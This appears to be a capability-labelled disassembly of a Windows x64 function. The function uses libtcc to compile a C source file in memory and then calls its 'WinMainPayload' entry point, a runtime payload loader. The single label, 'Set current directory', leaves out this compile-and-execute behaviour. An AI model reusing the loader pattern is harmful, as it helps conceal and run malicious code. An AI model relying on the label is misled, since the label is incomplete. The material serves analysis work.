Function at 0x4011e5
Capabilities:
Set current directory

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x260
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov qword [rbp + 0x28], r9
lea rax, [0x004011b4]
mov r11, rax
mov eax, 1
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_AddVectoredExceptionHandler
call sub.msvcrt.dll___iob_func
add rax, 0x60
mov ecx, 0x49
mov r8, rcx
lea rcx, [0x00402030]
mov r11, rcx
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_fprintf
movabs rax, 0x208
mov r8, rax
mov eax, 0
mov r11, rax
lea rax, [rbp - 0x208]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memset
mov eax, 0x104
mov r8, rax
lea rax, [rbp - 0x208]
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_GetModuleFileNameW
mov dword [rbp - 0x20c], eax
mov eax, dword [rbp - 0x20c]
cmp eax, 0
jne 0x4012ae
mov eax, 0x4f
jmp 0x401638
movabs rax, 0x104
mov qword [rbp - 0x218], rax
mov rax, qword [rbp - 0x218]
add rax, 0xffffffffffffffff
mov qword [rbp - 0x218], rax
shl rax, 1
lea rcx, [rbp - 0x208]
add rcx, rax
movzx eax, word [rcx]
cmp eax, 0x5c
je 0x4012ed
jmp 0x4012bf
mov rax, qword [rbp - 0x218]
shl rax, 1
lea rcx, [rbp - 0x208]
add rcx, rax
mov eax, 0
mov word [rcx], ax
lea rax, [rbp - 0x208]
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_SetCurrentDirectoryW
mov dword [rbp - 0x21c], eax
mov eax, dword [rbp - 0x21c]
cmp eax, 0
je 0x401336
jmp 0x401340
mov eax, 0x55
jmp 0x401638
movabs rax, 0
mov qword [rbp - 0x228], rax
call sub.libtcc.dll_tcc_new
mov qword [rbp - 0x228], rax
mov rax, qword [rbp - 0x228]
cmp rax, 0
je 0x401373
jmp 0x40139e
call sub.msvcrt.dll___iob_func
add rax, 0x60
lea rcx, str.Could_not_create_tcc_state_n
mov r11, rcx
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_fprintf
mov eax, 0x5d
jmp 0x401638
lea rax, str._tcc64
mov r11, rax
mov rax, qword [rbp - 0x228]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.libtcc.dll_tcc_set_lib_path
lea rax, str._tcc64_include
mov r11, rax
mov rax, qword [rbp - 0x228]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.libtcc.dll_tcc_add_include_path
lea rax, [0x00402070]
mov r11, rax
mov rax, qword [rbp - 0x228]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.libtcc.dll_tcc_add_include_path
lea rax, str._tcc64_lib
mov r11, rax
mov rax, qword [rbp - 0x228]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.libtcc.dll_tcc_add_library_path
mov eax, 1
mov r11, rax
mov rax, qword [rbp - 0x228]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.libtcc.dll_tcc_set_output_type
movabs rax, 0
mov qword [rbp - 0x238], rax
lea rax, [rbp - 0x238]
mov r11, rax
lea rax, str.osdmnus_uni_source.c
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov qword [0x00402028], rax
mov rax, qword [0x00402028]
cmp rax, 0
jne 0x401489
mov eax, 0x6c
jmp 0x401638
lea rax, [0x004020a9]
mov r8, rax
lea rax, str.PAYLOAD_BEGIN
mov r11, rax
mov rax, qword [rbp - 0x228]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.libtcc.dll_tcc_define_symbol
mov rax, qword [0x00402028]
mov r11, rax
mov rax, qword [rbp - 0x228]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.libtcc.dll_tcc_compile_string
cmp eax, 0xffffffff
jne 0x4014e4
mov eax, 0x7d
jmp 0x401638
lea rax, str.__nUpdate_0512Tue2023428218614717__n
mov r8, rax
lea rax, str.update_id
mov r11, rax
mov rax, qword [rbp - 0x228]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.libtcc.dll_tcc_add_symbol
movabs rax, 1
mov r11, rax
mov rax, qword [rbp - 0x228]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.libtcc.dll_tcc_relocate
cmp eax, 0
jge 0x401542
mov eax, 0x83
jmp 0x401638
lea rax, str.WinMainPayload
mov r11, rax
mov rax, qword [rbp - 0x228]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.libtcc.dll_tcc_get_symbol
mov qword [rbp - 0x230], rax
mov rax, qword [rbp - 0x230]
cmp rax, 0
je 0x40157e
jmp 0x401588
mov eax, 0x88
jmp 0x401638
call sub.msvcrt.dll___iob_func
add rax, 0x60
mov ecx, 0x89
mov r8, rcx
lea rcx, str.__LINE__:__d_n
mov r11, rcx
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_fprintf
mov eax, 0
mov r9, rax
movabs rax, 0
mov r8, rax
movabs rax, 0
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
mov r11, qword [rbp - 0x230]
call r11
mov dword [rbp - 0x23c], eax
call sub.msvcrt.dll___iob_func
add rax, 0x60
mov ecx, dword [rbp - 0x23c]
mov r8, rcx
lea rcx, str.func_ret___d_n
mov r11, rcx
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_fprintf
mov rax, qword [rbp - 0x228]
mov r10, rax
mov rcx, r10
call sub.libtcc.dll_tcc_delete
mov eax, dword [rbp - 0x23c]
leave
ret